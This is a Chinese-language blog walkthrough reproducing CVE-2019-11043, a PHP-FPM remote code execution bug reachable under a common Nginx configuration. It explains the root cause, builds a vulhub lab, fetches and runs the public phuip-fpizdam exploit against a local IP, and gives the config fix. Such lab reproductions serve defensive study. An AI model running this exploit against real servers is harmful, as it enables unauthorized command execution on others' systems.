CVE-2019-11043 PHP在Nginx配置下任意代码执行漏洞

目录

    • 漏洞背景
    • 漏洞影响版本
    • 漏洞成因
    • 漏洞复现
      • 环境搭建
        • ① github下载vulhub
        • ② 启动漏洞环境
        • ③ 安装go语言
      • 漏洞利用
    • 修复建议
    • 参考链接

漏洞背景

2019年10月23日,PHP 官方发布了在 nginx 配置不当的情况下php-fpm 可导致远程代码执行的漏洞更新。
此漏洞是由国外安全研究员 Andrew Danau 在9 月14日至18日举办的Real World CTF 中解决一道CTF题目时发现的,向目标服务器URL发送%0a符号时,服务返回异常,疑似存在漏洞。

漏洞影响版本

PHP 7.0 版本
PHP 7.1 版本
PHP 7.2 版本
PHP 7.3 版本

Nginx + php-fpm 的服务器,在使用如下配置的情况下,都可能存在远程代码执行漏洞。

location ~ [^/]\.php(/|$) {

        fastcgi_split_path_info ^(.+?\.php)(/.*)$;

        fastcgi_param PATH_INFO       $fastcgi_path_info;

        fastcgi_pass   php:9000;

        ...

  }

}

CVE-2019-11043 PHP在Nginx配置下任意代码执行漏洞_第1张图片

漏洞成因

因为“fpm_main.c”文件的第1150行代码中由于\n(%0a)的传入导致nginx传递给php-fpm的PATH_INFO为空。
进而导致可以通过FCGI_PUTENV与PHP_VALUE相结合,修改当前的php-fpm进程中的php配置,在特殊构造的配置生效的情况下可以触发任意代码执行。

漏洞复现

环境搭建

kali虚拟机 go语言环境 vulhub

① github下载vulhub

git clone https://github.com/vulhub/vulhub
CVE-2019-11043 PHP在Nginx配置下任意代码执行漏洞_第2张图片

② 启动漏洞环境

进到对应对应目录下,启动有漏洞的Nginx和Php
cd /home/vulhub/php/CVE-2019-11043
docker-compose up -d
CVE-2019-11043 PHP在Nginx配置下任意代码执行漏洞_第3张图片
这里建议先给docker配置阿里云镜像加速,不然可能很慢拉不下来,初次是这样子的。
CVE-2019-11043 PHP在Nginx配置下任意代码执行漏洞_第4张图片
修改配置文件 /etc/docker/daemon.json把以下代码添加进去

{
  "registry-mirrors": ["https://k6awn8q8.mirror.aliyuncs.com"]
}

可以成功访问
CVE-2019-11043 PHP在Nginx配置下任意代码执行漏洞_第5张图片

③ 安装go语言

下载压缩包

wget -c https://storage.googleapis.com/golang/go1.11.8.linux-amd64.tar.gz

解压到指定目录

tar -C /usr/local/ -zxf go1.11.8.linux-amd64.tar.gz

配置环境变量

vim /etc/profile
配置文件末尾加上export PATH=$PATH:/usr/local/go/bin

CVE-2019-11043 PHP在Nginx配置下任意代码执行漏洞_第6张图片
source /etc/profile
CVE-2019-11043 PHP在Nginx配置下任意代码执行漏洞_第7张图片

漏洞利用

下载漏洞利用poc:https://github.com/neex/phuip-fpizdam

go get -v github.com/neex/phuip-fpizdam

这里出了点问题当时记着解决问题忘了截图了,类似下图
CVE-2019-11043 PHP在Nginx配置下任意代码执行漏洞_第8张图片
解决方式如下
重新编辑配置文件vim /etc/profile
这里GOROOT为安装目录 GOPATH为工作目录
CVE-2019-11043 PHP在Nginx配置下任意代码执行漏洞_第9张图片
source /etc/profile
回到home目录下

mkdir -p $GOPATH/src/golang.org/x
cd $GOPATH/src/golang.org/x
git clone https://github.com/golang/net.git
git clone https://github.com/golang/sync.git

这时候再下载poc就成功了

go get -v github.com/neex/phuip-fpizdam

进到指定目录go build
在这里插入图片描述
执行命令

./phuip-fpizdam http://192.168.79.137:8080/index.php

CVE-2019-11043 PHP在Nginx配置下任意代码执行漏洞_第10张图片
再去浏览器访问就可以执行命令了
CVE-2019-11043 PHP在Nginx配置下任意代码执行漏洞_第11张图片
CVE-2019-11043 PHP在Nginx配置下任意代码执行漏洞_第12张图片
由于php-fpm会启动多个子进程,所以命令时需要多访问几次(有点耐心),以访问到被污染的进程。

修复建议

不影响业务的情况下及时删除

fastcgi_split_path_info ^(.+?\.php)(/.*)$;
fastcgi_param PATH_INFO       $fastcgi_path_info;

参考链接

https://8io.io/?p=118
https://mp.weixin.qq.com/s/l72pQbkq6smD49SqLFo9XA
https://blog.51cto.com/13740724/2318397
https://cr.console.aliyun.com/cn-hangzhou/instances/mirrors

你可能感兴趣的:(CVE-2019-11043 PHP在Nginx配置下任意代码执行漏洞)